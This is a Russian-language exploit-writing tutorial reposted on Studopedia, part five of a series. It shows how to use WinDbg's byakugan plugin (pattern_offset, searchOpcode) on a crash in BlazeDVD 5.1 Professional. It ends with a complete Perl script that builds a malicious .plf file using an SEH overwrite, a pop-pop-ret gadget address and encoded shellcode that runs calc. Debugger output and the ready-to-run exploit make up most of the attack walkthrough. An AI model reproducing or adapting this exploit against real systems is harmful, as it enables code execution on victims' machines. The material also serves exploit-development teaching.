Студопедия.Орг Главная | Случайная страница | Контакты | Мы поможем в написании вашей работы!  
 

Byakugan : введение, pattern_offset и searchOpcode



Написание эксплойта. Часть 5.

В первых частях этого урока я преимущественно использовал Windbg, в качестве инструмента для просмотра регистра и содержания стеков во время оценки ошибок и построения эксплойтов. Сегодня, я расскажу о других отладчиках и плагинах, которые помогут ускорить этот процесс. Типичный арсенал инструментов написания эксплойтов должен включать в себя следующее:

В предыдущих главах, мы уже играли с windbg, и я уже кратко рассказывал о дополнении windbg или плагине от Microsoft, которая оценивает ошибки и показывает можно ли использовать найденную ошибку или нет. Этот плагин (MSEC) можно скачать здесь -http://www.codeplex.com/msecdbg. Когда вы получите первое впечатление от MSEC, учтите что на него не стоит слишком полагаться. Всегда лучше посмотреть вручную в регистре, значении стека и попытаться увидеть приведет ли уязвимость к выполнению кода или нет.

Byakugan: введение, pattern_offset и searchOpcode

Все знают, что ollydbg имеет множество плагинов (я расскажу о них позже). У Windbg так же есть framework(каркас)/API для построения плагинов/дополнений. MSEC является только одним примером… Metasploit создали и выпустили собственный windbg плагин, около года назад, названный byakugan. Пре-компилированные бинарные файлы для WIndows XP SP2, SP3, Vista и Windows 7 можно найти в папке framework3 (получите позже через trunk via svn), в \external\source\byakugan\bin поместите byakugan.dll и injectsu.dll, в папку windbg (только не в winext!), и detoured.dll в c:\windows\system32.Что можно сделать с byakugan.dll?

Injectsu.dll связана с функциями API в главном процессе. Она создает обходной канал сбора информации и связывает его с отладчиком. Detoured.dll - библиотека перехвата Microsoft Research, связывающая трамплин-код, придерживаясь пути кривой функции и обеспечивая авто восстановление на функции-трамплине. Сегодня, я сфокусируюсь только на byakugan, точнее на jutsu (поэтому я могу использовать только технологии приведенные в первых частях учебного курса для демонстрации свойств этого компонента) и pattern_offset. Вы можете загрузить модуль byakugan в windbg, используя следующую команду:

0:000> !load byakugan

[Byakugan] Successfully loaded!

Jutsu, предоставляет следующие функции:

В добавлении к jutsu, используется pattern_offset, который позволяет вам найти metasploit pattern в памяти и показывает снижение eip.

Для демонстрации того как byakugan может увеличить скорость развития exploit- процесса, мы используем уязвимости найденные в BlazeDVD 5.1 Professional/Blaze HDTV Player 6.0, где незавершенный plf-файл приводит к стеку переполнения буфера.

Мы попробуем создать exploit, работающий только с одной ошибкой:-)

Установите копию BlazeDVD 5 Professional с http://www.blazevideo.com/download.htm

Локальную копию с уязвимостью можно скачать здесь:

BlazeDVD 5.1 Professional (10.6 MiB, 1,047 hits)
You do not have permission to download this file.

Обычно, мы начинаем с создания нагрузки, содержащую множество A’s. Но сейчас, мы будем использовать metasploit pattern.

Создайте metasploit pattern, состоящую из 1000 характеристик и сохраните образец в файл (e.g. blazecrash.plf):

peter@sploitbuilder1 ~/framework-3.2/tools

$./pattern_create.rb 1000 > blazecrash.plf

Запустите windbg, и через него запустить blazedvd. (Для уверенности, что если в приложении есть ошибка, то windbg найдет ее). Снимите приложение с паузы (вы можете нажать F5 несколько раз (около 27 в моей системе) для запуска приложения). Когда blazeDVD запустится, откройте plf-файл (который содержит только metasploit pattern). Когда выполнение приложения закончится, нажмите F5 снова.

Вы должны получить следующее:

(5b0.894): Access violation(5b0.894): Access violation - code c0000005 (first chance)

- code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000001 ebx=77f6c19c ecx=062ddcd8 edx=00000042 esi=01f61c20 edi=6405569c

eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0 nv up ei pl nz na pe nc

Сейчас самое время использовать byakugan. Загрузите модуль byakugan и посмотрите сможет ли он найти где-нибудь metasploit pattern:

0:000> !load byakugan

[Byakugan] Successfully loaded!

0:000> !pattern_offset 1000

[Byakugan] Control of ecx at offset 612.

[Byakugan] Control of eip at offset 612.

Прекрасно. Но не только потому что мы подтвердить переполнения буфера, так же знаем отклонение, все в одном потоке. Выглядит так как-будто мы переписали RET… но до заключения, что это простая перепись RET, всегда запущена! расцепить, расцепить просто для подтверждения.

0:000> !exchain

0012afe4: 0012afe4: ntdll!ExecuteHandler2+3a (7c9032bc)

ntdll!ExecuteHandler2+3a (7c9032bc)

0012f5b8: 0012f5b8: <Unloaded_ionInfo.dll>+41347540 (41347541)

<Unloaded_ionInfo.dll>+41347540 (41347541)

Invalid exception stack at 33754132

Это основывается на SEH. Смещение показывает (612) is the offset to nSEH. Поэтому для переписания следующего SEH, нам нужно вычесть 4 байта для получения реального смещения. (= 608)

Мы знаем, что типичный SEH базирующийся на эксплойте выглядит так:

[junk][jump][pop pop ret][shellcode]

Давайте найдем pop pop ret, и мы

Найдем pop pop ret: Вы все еще можете использовать findjmp, или!jutsu searchOpcode. Единственный недостаток!jutsu searchOpcode, в том что вам придется определять регистры самому (findjmp находит все комбинации pop pop ret). Но давайте все-таки воспользуемся searchOpcode. Мы ищем pop esi, pop ebx, ret

0:000> !jutsu searchOpcode pop esi | pop ebx | ret

[J] Searching for:

> pop esi

> pop ebx

> ret

[J] Machine Code:

> 5e 5b c3

[J] Executable opcode sequence found at: 0x05942a99

[J] Executable opcode sequence found at: 0x05945425

[J] Executable opcode sequence found at: 0x05946a1e

[J] Executable opcode sequence found at: 0x059686a0

[J] Executable opcode sequence found at: 0x05969d91

[J] Executable opcode sequence found at: 0x0596aaa6

[J] Executable opcode sequence found at: 0x1000467f

[J] Executable opcode sequence found at: 0x100064c7

[J] Executable opcode sequence found at: 0x10008795

[J] Executable opcode sequence found at: 0x1000aa0b

[J] Executable opcode sequence found at: 0x1000e662

[J] Executable opcode sequence found at: 0x1000e936

[J] Executable opcode sequence found at: 0x3d937a1d

[J] Executable opcode sequence found at: 0x3d93adf5

… (etc)

Поищите адреса в адресном пространстве используемого модуля / dll’s from BlazeDVD. (вы можете посмотреть список выполняемых модулей с помощью команды “lm” в windbg). В моей системе (XP SP3 En), адреса начинающиеся с 0×64 работают нормально. Мы будем использовать 0x640246f7

0:000> u 0x640246f7MediaPlayerCtrl!DllCreateObject+0x153e7:640246f7 5e pop esi640246f8 5b pop ebx640246f9 c3 ret

Давайте построим наш эксплойт:

my $sploitfile="blazesploit.plf";my $junk = "A" x 608; #612 - 4my $nseh = "\xeb\x1e\x90\x90"; #jump 30 bytesmy $seh = pack('V',0x640246f7); #pop esi, pop ebx, retmy $nop = "\x90" x 30; #start with 30 nop's # windows/exec - 302 bytes# http://www.metasploit.com# Encoder: x86/alpha_upper# EXITFUNC=seh, CMD=calcmy $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43"."\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58"."\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42"."\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"."\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58"."\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c"."\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b"."\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b"."\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31"."\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57"."\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44"."\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b"."\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c"."\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b"."\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44"."\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36"."\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c"."\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38"."\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58"."\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e"."\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51"."\x42\x4c\x43\x53\x43\x30\x41\x41"; $payload =$junk.$nseh.$seh.$nop.$shellcode; open ($FILE,">$sploitfile");print $FILE $payload;close($FILE);

Протестируйте – в моей системе работает нормально.

Это был прекрасный наглядный пример.. и пока нам везет, так как существует несколько сложностей с написанием эксплойта в слепую, основываясь на свойствах byakugan:

Но если все-таки он работает, вы сохраните свое время.





Дата публикования: 2015-02-22; Прочитано: 562 | Нарушение авторского права страницы | Мы поможем в написании вашей работы!



studopedia.org - Студопедия.Орг - 2014-2024 год. Студопедия не является автором материалов, которые размещены. Но предоставляет возможность бесплатного использования (0.009 с)...